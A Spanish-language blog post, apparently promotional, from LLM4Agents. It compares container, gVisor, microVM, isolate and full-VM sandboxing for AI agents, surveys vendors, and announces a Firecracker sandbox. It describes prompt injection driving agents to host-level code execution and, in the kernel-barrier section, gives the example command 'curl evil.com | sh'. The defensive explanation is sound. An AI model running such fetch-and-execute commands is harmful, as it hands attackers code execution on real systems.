Sandboxes microVM para agentes IA: el caso, los jugadores y lo que vamos a lanzar

En 2025 la pregunta "dónde corre el código de un agente IA" era un problema de investigación. A mediados de 2026 es un problema de respuesta a incidentes. Los containers ya no son un sandbox en ningún sentido significativo, y el gap entre un agente que puede escribir código y uno que puede ejecutarlo de forma segura se ha vuelto la pieza de infraestructura más cara que la mayoría de equipos olvida presupuestar.

Claude Code, Codex, Gemini, Antigravity y una docena de frameworks open-source instalan paquetes, levantan servidores, modifican filesystems y abren conexiones de red rutinariamente. El volumen es real — millones de sesiones por día entre los providers grandes — y los modos de fallo son igual de reales. Microsoft Security divulgó CVE-2026-25592 y CVE-2026-26030 en Semantic Kernel a principios de este mes: una sola prompt injection podía convertirse en RCE a nivel de host, exactamente el desenlace que el sandbox debería volver imposible. Pillar Security divulgó una cadena de sandbox-escape separada en el agent manager Antigravity de Google una semana después. Habrá más.

La respuesta a "dónde corre el código" es ahora una decisión técnica con consecuencias de seguridad. Este post traza el espectro de opciones, qué shipean realmente los vendors actuales debajo del capó, y el runtime microVM que vamos a poner disponible en LLM4Agents.

El espectro de aislamiento

Cinco capas, de más débil a más fuerte, con los tradeoffs que fuerza cada una:

Containers planos (Docker, runc). Namespaces + cgroups de Linux. El agente comparte el kernel del host. Un bug del kernel se convierte en compromiso del host. El egress no está controlado por defecto. El cold start es rápido (50–200ms) y los catálogos de imágenes son enormes, que es la razón por la que la mayoría de productos de code-execution empezó aquí. Nada de esto es suficiente para código no confiable.

Containers reforzados (gVisor, Sysbox). Un kernel en user-space se interpone entre el workload y el host. La superficie de syscalls cae un orden de magnitud. La compatibilidad es la trampa — algunas syscalls se comportan distinto y algunos workloads (extensiones C de Python a bajo nivel, ciertos módulos nativos de Node) simplemente fallan. El overhead de performance es 10–30% según el workload.

MicroVMs (Firecracker, Cloud Hypervisor, Kata). Un guest kernel dedicado por workload, extensiones de virtualización por hardware (KVM), y un modelo de dispositivo mínimo. Firecracker — el motor que AWS usa para Lambda y Fargate — bootea un microVM en aproximadamente 125 milisegundos, consume menos de 5 MiB de overhead de memoria, y soporta hasta 150 microVMs por segundo por host. Este es el aislamiento más fuerte que aún tiene latencia interactiva de cold start.

Isolates JS (V8 Isolates, Cloudflare Dynamic Workers). Un modelo distinto: un runtime de JavaScript sandboxed corriendo dentro de un proceso, sin aislamiento a nivel de OS. Cold start medido en milisegundos y densidad medida en decenas de miles por host. Limitado a JS (o lo que compile a JS vía WASM), pero imbatible para tool calls cortos y sin estado.

VMs completas (KVM/QEMU, estilo EC2). La respuesta tradicional. Boots de varios segundos, gigabytes de overhead por instancia, emulación completa de hardware. Aislamiento fuerte, economía equivocada para workloads efímeros de agentes.

La forma correcta de leer esta lista: containers y VMs completas son los extremos de la curva precio-vs-seguridad, y los microVMs son el punto en esa curva donde la curva se dobla bruscamente a favor del agente. Pagas 100–200ms de cold start y unos MiB de RAM a cambio de una barrera de kernel a la que el código prompt-injectado del agente no puede llegar.

Qué shipea realmente cada vendor

E2B — Firecracker microVMs con kernel dedicado por sandbox, cold start alrededor de 150–200ms, el catálogo más grande de templates listos para agentes, y un SDK Python-céntrico con soporte first-class para sesiones de intérprete con estado. La apuesta es conservadora: aislamiento máximo, aceptar el coste de cold start.

Daytona — Container-based por defecto con Kata o Sysbox opcional para aislamiento más fuerte. El número titular es cold start sub-90ms, con configuraciones optimizadas tocando 27ms. La apuesta es que la mayoría de workloads de agente pueden vivir con aislamiento grado-container a cambio de latencia sub-100ms, y el operador opt-in al aislamiento microVM cuando el workload lo demanda.

Modal — La única plataforma donde un sandbox puede tener GPU. Si el agente necesita correr inferencia, hacer fine-tune o procesar imágenes dentro del mismo proceso aislado que llama tools, Modal es la única opción seria hoy. El aislamiento es gVisor + container; el GPU passthrough es el diferenciador.

Cloudflare — Un dual stack que pasó a general availability en abril: Dynamic Workers (V8 isolates, cold start en milisegundos, solo JS/WASM) para tool calls efímeros, y Sandboxes (containers Linux completos con shell, filesystem persistente, terminal PTY, procesos en background) para los casos donde el agente necesita clonar un repo, instalar paquetes Python y correr un dev server. Distribuido en el edge por defecto.

SmolVM — Vale la pena mencionarlo porque es la respuesta más simple del campo. Un microVM en binario único construido sobre libkrun y Hypervisor.framework de Apple, cold start sub-200ms, diseñado para ser embebido directamente en el proceso del agente y desechado tras cada invocación. No es un servicio hosted; es una primitiva.

El resumen honesto: no hay una respuesta única correcta en mayo de 2026. Hay un eje de tradeoffs entre latencia de cold start, fuerza de aislamiento, soporte de lenguajes, soporte de GPU y simplicidad operacional, y cada vendor está ocupando un punto distinto sobre ese eje.

Por qué los microVMs son la primitiva correcta para una plataforma de agentes

Tomamos la decisión de construir sobre microVMs (Firecracker en el hot path, con camino a Cloud Hypervisor para workloads de virtualización anidada) en lugar de containers o isolates. Cuatro razones.

Barrera de kernel. Un agente que actúa sobre inputs hostiles — y todo agente público actúa sobre inputs hostiles — necesita el aislamiento práctico más fuerte. Los escapes de container son una categoría regular de CVE; los escapes de microVM han sido teóricos hasta ahora, y la superficie de ataque es un orden de magnitud menor. Cuando un agente prompt-injectado corre curl evil.com | sh, queremos que el blast radius termine en el guest kernel, no en el host.

Neutralidad de lenguaje y runtime. Un agente que elige la herramienta correcta para el trabajo debería poder correr Python, Node, Rust, Go, Deno, Bun, Java, scripts de shell, y cualquier otra cosa que su imagen base lleve, sin que la plataforma limite la elección. Los isolates te limitan a una familia de lenguajes; los microVMs no.

Snapshot y restore. El snapshotting de Firecracker permite congelar una VM completamente inicializada (kernel booteado, runtime de lenguaje en caliente, dependencias instaladas, código de usuario cargado) y clonarla en decenas de milisegundos. Para agentes de coding interactivos esta es la diferencia entre un feedback loop de 4 segundos y uno de 400 milisegundos. Y también hace honesto el billing por sesión — el usuario paga por lo que su código realmente ejecutó, no por el cold start de una imagen fresca.

Política de red y filesystem en la barrera. Cada microVM recibe una NIC virtual y un device de bloque virtual que el host controla. Reglas de egress, reescritura de DNS, inyección de credenciales vía egress proxy, bloqueo de escritura en paths de configuración, y captura completa de red para forensics — todo eso vive en el host, donde el agente no puede desactivarlo. La guía de NVIDIA sobre sandboxing de workflows agénticos, publicada en marzo, lo trata como un requisito duro; la misma conclusión sale de cada reporte de incidente de prompt injection que hemos leído.

Los casos de uso que la categoría agent-sandbox realmente tiene que servir

Cinco workloads cubren la gran mayoría del tráfico real de producción que hemos visto y para los que estamos diseñando.

Code interpreter para datos y análisis. El agente recibe una pregunta, escribe Python, lo ejecuta contra un CSV o un dump SQL, devuelve la respuesta con el gráfico. El sandbox necesita Pandas, NumPy, Matplotlib, algunos drivers de DB comunes. El estado de sesión importa; una pregunta de seguimiento reusa el dataframe en memoria.

Automatización web detrás de un browser real. Chromium headless dentro del sandbox, controlado por el agente. El browser es la superficie de ataque de prompt injection y el sandbox es lo que evita que una página maliciosa se apodere del host. Este es el workload donde el aislamiento microVM se paga más rápido.

Agentes que escriben código en el linaje Claude-Code, Codex, Aider. Clonar un repo, instalar dependencias, correr un build, correr tests, proponer un patch, iterar. Sesiones largas (decenas de minutos), uso intensivo de filesystem, ocasional levantamiento de dev-server. Los containers pueden hacer esto; los microVMs lo hacen con una historia de seguridad usable.

Infraestructura provisionada por el agente. El agente provisiona recursos cloud, corre Terraform, despliega un stack, corre smoke tests. Las credenciales que usa el agente son el target de mayor valor en la máquina, y el manejo de credenciales tiene que ocurrir fuera de la barrera del sandbox — inyectadas por un egress proxy, nunca legibles por el guest.

Workers en background para agentes asíncronos. El agente agenda un job de larga duración (scrape, summarise, post), vuelve más tarde a chequear. El sandbox guarda estado entre turnos. Snapshot+restore es lo que hace esto económico a escala de flota.

Qué vamos a lanzar

LLM4Agents está añadiendo un sandbox microVM como parte de primera clase de la plataforma, junto al gateway LLM y las MCP tools. Especifico, con las advertencias habituales de que los números se ajustarán al rodarse:

MicroVMs basados en Firecracker con guest kernels dedicados. Cold start respaldado por snapshot en el rango de 150–250ms para templates en caliente. Billing por segundo en USDC o USDT contra la misma wallet del agente que fondea inferencia, así que añadir ejecución de código no requiere un segundo balance, una segunda API key ni una segunda factura. Egress proxy con inyección de credenciales. Volúmenes de filesystem persistentes que el agente puede attachar entre sesiones. Imágenes base neutrales por lenguaje más un camino build-your-own-template. Compatible con la superficie OpenAI Code Interpreter para migración drop-in donde tenga sentido.

La lista honesta de tradeoffs, porque ninguna pieza de infraestructura es gratis: el cold start no es tan rápido como un isolate JS y no lo va a ser — física de bootear un kernel. El passthrough de GPU no está en la primera release; si tu agente necesita GPU recomendamos Modal por ahora. La plataforma mitiga el blast radius del prompt injection, no previene el prompt injection en sí — eso es un problema de modelo y de diseño de tools, y vamos a escribir un post separado sobre cómo lo estamos abordando.

Qué hacer hoy

Si lanzas un agente en los próximos treinta días y necesitas ejecución de código ya, E2B y Daytona son las picks seguras; elige E2B cuando la fuerza de aislamiento sea la restricción, Daytona cuando lo sea el cold start. Si necesitas GPU, Modal. Si tu agente es una app de Cloudflare Workers, el dual stack es el camino de menor resistencia.

Si estás diseñando para los próximos doce meses y quieres que el gateway LLM, las MCP tools y el sandbox compartan identidad y balance, el runtime microVM de LLM4Agents es lo que estamos por poner frente a ti. El acceso beta se abre en las próximas semanas; si quieres entrar pronto, la documentación y el endpoint de registro están abajo.